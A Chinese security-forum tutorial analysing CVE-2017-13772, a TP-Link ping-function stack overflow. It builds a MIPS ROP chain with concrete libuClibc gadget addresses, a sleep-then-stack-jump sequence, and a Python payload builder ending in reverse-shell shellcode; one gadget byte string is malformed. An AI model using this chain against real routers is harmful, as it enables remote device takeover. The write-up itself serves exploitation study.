1. Introduction
This article will analyze CVE-2017-13772 and summarize the general approach to exploiting MIPS stack overflow.
Before reading, it is necessary to understand MIPS assembly related knowledge.
2. Causes of CVE-2017-13772 Vulnerability
CVE-2017-13772 is a stack overflow vulnerability in TP-Link, which is triggered when an overly long IP address is input in the ping function. Generally, we try command injection in the ping function, but TP-Link has done a good job in string filtering, rendering some special character inputs ineffective. Therefore, we can only explore overflow-type vulnerabilities here.
IDA search to locate the string:

loc_453CE8:
la $t9, httpGetEnv
addiu $a1, (aPingAddr - 0x570000) # "ping_addr"
jalr $t9 ; httpGetEnv #http server gets the value of ping_addr field through httpGetEnv(ping_addr)
move $a0, $s5
lw $gp, 0x70+var_58($sp)
la $a1, aDotype # "doType"
la $t9, httpGetEnv
move $a0, $s5
jalr $t9 ; httpGetEnv
move $s6, $v0 #httpGetEnv(ping_addr) returns value in v0, before the above instruction executes, it will be saved in s6
lw $gp, 0x70+var_58($sp)
la $a1, aIsnew # "isNew"
la $t9, httpGetEnv
move $a0, $s5
jalr $t9 ; httpGetEnv
move $s3, $v0
lw $gp, 0x70+var_58($sp)
beqz $s6, loc_454640
move $s0, $v0
Next, track the s6 register, click to keep looking down, until here we find the call to s6 ipAddrDispose ($s6)
la $t9, httpGetEnv
la $a1, aTrhops # "trHops"
jalr $t9 ; httpGetEnv
move $a0, $s5
lw $gp, 0x70+var_58($sp)
nop
la $t9, atoi
nop
jalr $t9 ; atoi
move $a0, $v0
lw $gp, 0x70+var_58($sp)
move $a0, $s6
la $t9, ipAddrDispose #ipAddrDispose($s6)
nop
jalr $t9 ; ipAddrDispose
move $s1, $v0
lw $gp, 0x70+var_58($sp)
beqz $v0, loc_454280
move $v1, $v0
Follow up with ipAddrDispose
Next, analyze ipAddrDispose





The part where stack overflow occurs in ipAddrDispose is roughly disassembled as follows:
void ipAddrDispose(char * pingaddr):
{
char pingaddr_tmp[0x33] = {0};
int len = strlen(pingaddr);
memset(pingaddr_tmp,0, 0x33);
int i=0,j=0;
for(; i<len;i++)
{
if(pingaddr[i]!=' ')
{
pingaddr_tmp[j]=pingaddr[i] // This is where the stack overflow occurs
j++;
}
}
strcpy(pingaddr, pingaddr_tmp);// This just copies the string back to pingaddr after removing spaces
..........
}
From the beginning of the function, we can analyze the stack structure as follows:

From the stack structure, we can know that we can ultimately control s0, s1, ra, and we can know the offset we are overwriting, pingaddr=’A'(0xAC-0xC)+ s0+s1+ra,pingaddr=’A’0xA0+ s0+s1+ra,.
3. Exploitation of CVE-2017-13772
3.1 MIPS Exploitation Process
MIPS exploitation first requires sleep(nS) to update the code cache, then the code on the stack can be executed correctly.
If you want to run a reverse shell, you can roughly think of the following process:
Set a0=1, jump to the sleep function
Get the address of the stack, jump to execute the code on the stack.
3.2 MIPS Jumping
In MIPS, there are ways to jump:
① Set the register t9 and jump to register t9. For example:
move $t9, $s0
jalr $t9 ;
② Before executing the function func, save the address to jump to (address) in the ra register. After executing the function func, it can jump. For example:
move $t9, $s0 ;function f()
lw $ra, ``0x20``+``var_4($sp) ``#nextcall=address
lw $s0, ``0x20``+``var_8($sp)
li $a0, ``2
li $a1, ``1
move $a2, $zero
jr $t9 ; ;after executing f(), jump to address
addiu $sp, ``0x20
3.3 Exploitation
Find components in libuClibc-0.9.30.so
#0. The first step is to override registers s0, s1, ra, set s0 to the address of sleepaddr, and set ra to addr0 (0x2AB2E97C)
#1. Jump to addr0 (0x2AB2E97C) to execute
move $t9, $s0 #set t9 to sleepaddr
lw $ra, ``0x20``+``var_4($sp) #get data from stack, set ra=addr1
lw $s0, ``0x20``+``var_8($sp) #get data from stack, set s0=addr2
li $a0, ``2 #set sleep parameter to 2
li $a1, ``1
move $a2, $zero
jr $t9 ; #jump to execute sleep(2s), return to addr1
addiu $sp, ``0x20
#2. addr1
addiu $s2, $sp, ``0x198``+``var_180 #s2 points to the stack
move $a2, $v1
move $t9, $s0 #t9=s0
jalr $t9 ; #jump to addr2
#3. addr2
move $t9, $s2 #jump to execute on the stack
jalr $t9 ;
evil_pingaddr ="A"*160 +sleep_func_addr+"AAAA"+addr0+
"B"*0x18+addr2+addr1+nop*0x20+reverseshell_shellcode
Currently, I do not have the device to verify, but there should be no major issues.
3.4 How to Find These Components, What is the Approach?
First, we need to understand: 0. Data comes from the stack; 1. What registers can we control at the first step; 2. What is the ultimate goal; 3. Each time we construct, we need to control the next jump.
0. Data comes from the stack, which means that the data source for subsequent operations is the stack, which includes jump addresses and parameters.
① What registers can we control at the first step: Through the analysis of the overflow function assembly, we can know that we can control s0, s1, ra.
② What is the ultimate goal? sleep(nS) ->
reverseshell. For sleep, please refer to the article http://xdxd.love/2016/12/09/%E4%B8%80%E4%B8%AAmips%E6%A0%88%E6%BA%A2%E5%87%BA%E5%88%A9%E7%94%A8/.
③ Each time we construct, we need to control the next jump: As mentioned earlier, set t9 or ra.
3.4.1 Basic Operations of MIPSROP Tool
Installation
Download mipsrop.py and place it in C:\Program Files (x86)\IDA 6.8\plugins https://github.com/devttys0/ida/tree/master/plugins/mipsrop
Open a MIPS program and open the plugin:

mipsrop.help()
Check which commands are available
mipsrop.find(instruction_string)
Can find many custom instructions
Locates all potential ROP gadgets that contain the specified instruction.
@instruction_string - The instruction you need executed. This can be either a:
o Full instruction - "li $a0, 1"
o Partial instruction - "li $a0"
o Regex instruction - "li $a0, .*"
mipsrop.system()
Used to execute the system() function
mipsrop.doubles()
As follows: If you can control multiple registers s0 s1 s2 s3, you need to call multiple times (not used, based on the print results, its function can be roughly deduced), you can use this. Here are all jal or jalr, similar to x86 call (which saves the address of the next command to ra) (jr is similar to jmp).
LOAD:000402D0 move $t9, $s0
LOAD:000402D4 jalr $t9 ; strlen
LOAD:000402D8 lw $a0, 0x4C0+var_400($fp)
LOAD:000402DC lw $a1, 0x4C0+var_400($fp)
LOAD:000402E0 addiu $a2, $v0, 1
LOAD:000402E4 move $t9, $s1
LOAD:000402E8 jalr $t9 ; write
LOAD:000402EC move $a0, $s3
LOAD:000402F0 move $t9, $s0
LOAD:000402F4 jalr $t9 ; strlen
Prints a list of all "double jump" gadgets (useful for function calls).
mipsrop.stackfinders()
Puts the address of the stack into the register, then can run on the stack.
Prints a list of all gadgets that put a stack address into a register.
mipsrop.tails()
Tail instructions can store data from the stack to ra and other registers, expanding the controllable registers, for subsequent jumps and parameter settings.
Because at the end of MIPS functions, the assembly is all like this:
loc_42224:
lw $ra, 0x30+var_4($sp)
lw $s4, 0x30+var_8($sp)
lw $s3, 0x30+var_C($sp)
lw $s2, 0x30+var_10($sp)
lw $s1, 0x30+var_14($sp)
lw $s0, 0x30+var_18($sp)
jr $t9
addiu $sp, 0x30
Prints a list of all tail call gadgets (useful for function calls).
mipsrop.set_base()
For example, if you are looking for components in libuClibc-0.9.30.so, set the base address of this so in the main program, which makes writing the exploit easier. Regarding how to find the loading address, you can connect to hardware TTL (some cannot reach shell), modify the firmware, log in through other vulnerabilities, or run the main program in QEMU system mode (as long as it runs, it’s enough). The command is cat /proc/$pid/maps.
Set base address used for display
mipsrop.summary()
Prints a summary of your currently marked ROP gadgets, in alphabetical order by the marked name.
To mark a location as a ROP gadget, simply mark the position in IDA (Alt+M) with any name that starts with "ROP".
The mipsrop tool provides specific functions for exploiting MIPS vulnerabilities. As long as one has learned the basics of MIPS assembly and MIPS function calling process, it is easy to understand the function of each component.
3.4.2 Thought Analysis
We find components in libuClibc-0.9.30.so, its loading base address is 0x2aae2000, execute the command Python>mipsrop.set_base(0x2aae2000)
We can control s0, s1, ra.
First, the goal is to execute sleep: 1. Set parameters 2. Jump to execute sleep mipsrop.find(“li $a0, 1”), of course, you can also mipsrop.find(“li $a0, .*”) as shown in the figure:
Python>mipsrop.find("li $a0, 1")
| Base + Offset = Address | Action | Control Jump |
| 0x2AAE2000 + 0x00029244 = 0x2AB0B244 | li $a0,1 | jalr $s4 |
| 0x2AAE2000 + 0x00055C60 = 0x2AB37C60 | li $a0,1 | jalr $s1 |
| 0x2AAE2000 + 0x000202D0 = 0x2AB022D0 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003C140 = 0x2AB1E140 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003C1F8 = 0x2AB1E1F8 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003CE70 = 0x2AB1EE70 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003CF94 = 0x2AB1EF94 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D034 = 0x2AB1F034 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D57C = 0x2AB1F57C | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D62C = 0x2AB1F62C | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003F1A4 = 0x2AB211A4 | li $a0,1 | jr 0x58+var_4($sp) |
Next, consider the next jump. Since we can control s1, we look at
| 0x2AAE2000 + 0x00055C60 = 0x2AB37C60 | li $a0,1 | jalr $s1 |
Python>mipsrop.find("li $a0, 1")
-------------------------------------------------------------------------------------------------------------------------------------------
| Base + Offset = Address | Action | Control Jump |
-------------------------------------------------------------------------------------------------------------------------------------------
| 0x2AAE2000 + 0x00029244 = 0x2AB0B244 | li $a0,1 | jalr $s4 |
| 0x2AAE2000 + 0x00055C60 = 0x2AB37C60 | li $a0,1 | jalr $s1 |
| 0x2AAE2000 + 0x000202D0 = 0x2AB022D0 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003C140 = 0x2AB1E140 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003C1F8 = 0x2AB1E1F8 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003CE70 = 0x2AB1EE70 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003CF94 = 0x2AB1EF94 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D034 = 0x2AB1F034 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D57C = 0x2AB1F57C | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D62C = 0x2AB1F62C | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003F1A4 = 0x2AB211A4 | li $a0,1 | jr 0x58+var_4($sp) |
IDA script area Click offset 0x00055C60, IDA can jump to the specified area.
LOAD:00055C60 li $a0, 1
LOAD:00055C64 move $t9, $s1
LOAD:00055C68 jalr $t9 ;
If ra is set to 0x00055C60+0x2AAE2000 , s1 is initially set to sleep, it can execute sleep(1), of course, there will be no follow-up.
If we can set ra before executing sleep, we can jump to the address ra after executing sleep, so now we need to set ra after the first jump, and then execute sleep(nS).
Set registers from the stack, using mipsrop.tails() to find.
The author chose loc_35840, this part is a bit convoluted. Initially, s1 is saved to t9, and s1 currently points to loc_35840, so there will be another jump to loc_35840. During the first jump, s1 is set through the stack, allowing the second jump to the desired location.
loc_35840:
move $t9, $s1
lw $ra, 0x28+var_4($sp)
lw $s1, 0x28+var_8($sp)
lw $s0, 0x28+var_C($sp)
addiu $a0, 0xC
jr $t9
addiu $sp, 0x28
# End of function sub_357E0
The process is: initially $s1 = loc_35840, then execute twice:
move $t9, $s1
lw $ra, 0x28+var_4($sp)
lw $s1, 0x28+var_8($sp) #set s1=newaddr=sleep
lw $s0, 0x28+var_C($sp)
addiu $a0, 0xC
jr $t9
addiu $sp, 0x28 #sp+=0x28
move $t9, $s1 #t9=newaddr=sleep
lw $ra, 0x28+var_4($sp) #set ra
lw $s1, 0x28+var_8($sp)
lw $s0, 0x28+var_C($sp)
addiu $a0, 0xC
jr $t9 #jump to sleep, here is jr, so after executing sleep it will return to ra
addiu $sp, 0x28 #sp+=0x28
The process of jumping from the initial overflow to executing sleep and jumping to the new address NextJUMP(RA) is as follows (note the changes in the sp register):
# Initial overflow
lw $ra, 0xE0+var_4($sp)
lw $s1, 0xE0+var_8($sp)
lw $s0, 0xE0+var_C($sp)
jr $ra
addiu $sp, 0xE0
# First jump
li $a0, 1
move $t9, $s1
jalr $t9 ;
# Execute sleep(a0), and jump to the new address
move $t9, $s1
lw $ra, 0x28+var_4($sp)
lw $s1, 0x28+var_8($sp) #set s1=newaddr=sleep
lw $s0, 0x28+var_C($sp)
addiu $a0, 0xC
jr $t9
addiu $sp, 0x28 #sp+=0x28
move $t9, $s1 #t9=newaddr=sleep
lw $ra, 0x28+var_4($sp) #set ra
lw $s1, 0x28+var_8($sp)
lw $s0, 0x28+var_C($sp)
addiu $a0, 0xC
jr $t9 #jump to sleep, here is jr, so after executing sleep it will return to ra
addiu $sp, 0x28 #sp+=0x28
ping_addr=0xA0‘A’+setS0+setS1+SetRA+0x20’A’+sleepaddr+0x28*’A’+NextJUMP(RA)
Finally, the sleep parameter is no longer 1, and there is still room for improvement in the entire exploit.
At this point, we have executed sleep and are ready to jump to the new address NextJUMP(RA). At this time, we can control ra, s1, s0.
After executing sleep(nS), we can control the next jump, achieving the current goal.
The next goal is to jump to execute on the stack.
It can be thought that we first need to store the address on the stack into a register, and then jump to execute the shellcode in the register, which will require mipsrop.stackfinders().
The author chose 0x000164C0 because it can set s2 to point to the stack address, and since s0 is controllable, jumping from s0 is also controllable.
| 0x2AAE2000 + 0x000164C0 = 0x2AAF84C0 | addiu $s2,$sp,0x198+var_180 | jalr $s0
addiu $s2, $sp, 0x198+var_180
move $a2, $v1
move $t9, $s0
jalr $t9 ;
Set s2 to point to the stack address, so the next step is Python>mipsrop.find(“move $t9,$s2”)
-------------------------------------------------------------------------------------------------------------------------------------------
| Base + Offset = Address | Action | Control Jump |
-------------------------------------------------------------------------------------------------------------------------------------------
| 0x2AAE2000 + 0x000118A4 = 0x2AAF38A4 | move $t9,$s2 | jalr $s2 |
| 0x2AAE2000 + 0x00011E84 = 0x2AAF3E84 | move $t9,$s2 | jalr $s2 |
| 0x2AAE2000 + 0x0001E910 = 0x2AB00910 | move $t9,$s2 | jalr $s2 |
| 0x2AAE2000 + 0x0001E93C = 0x2AB0093C | move $t9,$s2 | jalr $s2 |
| 0x2AAE2000 + 0x0001E9B8 = 0x2AB009B8 | move $t9,$s2 | jalr $s2 |
| 0x2AAE2000 + 0x0001E9E0 = 0x2AB009E0 | move $t9,$s2 | jalr $s2 |
| 0x2AAE2000 + 0x0001EA08 = 0x2AB00A08 | move $t9,$s2 | jalr $s2 |
| 0x2AAE2000 + 0x0001EA30 = 0x2AB00A30 | move $t9,$s2 | jalr $s2 |
| 0x2AAE2000 + 0x0001EA58 = 0x2AB00A58 | move $t9,$s2 | jalr $s2 |。。。。
The final result, where the changes in sp need to be carefully considered.
nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\F0″
def first_exploit(url, auth):
rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr
rop += "C"*0x20 + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
Compared to mine, it may be more complex, but the thought process is actually clear and logical. I found some useful components which made it appear simpler.
4. Conclusion
When writing MIPS exploits, one should understand what is controllable, what the goals are, how to connect each step, and construct the entire exploit based on the characteristics of the MIPS architecture. Searching for components can be done through various means, whether by finding shortcuts or compensating for what is lacking. The writing is rushed; if there are mistakes, please correct them.

– End –

Kanxue ID:Ai Zhonghua UpTTT
https://bbs.pediy.com/user-847726.htm
This article is original by Kanxue Forum Ai Zhonghua UpTTT
Please indicate the source from Kanxue Community when reprinting.
Popular Book Recommendations
Click
Buy Now!
Popular Articles to Read
1、Tcache Exploit Summary
2、SandHook Fourth Edition | Android Q Support & Inline Special Handling
3、Kanxue Course | Detailed Explanation of LLVM Compilation Framework

Official WeChat ID: ikanxue
Official Weibo: Kanxue Security
Business Cooperation: [email protected]
↙ Click below “Read Original”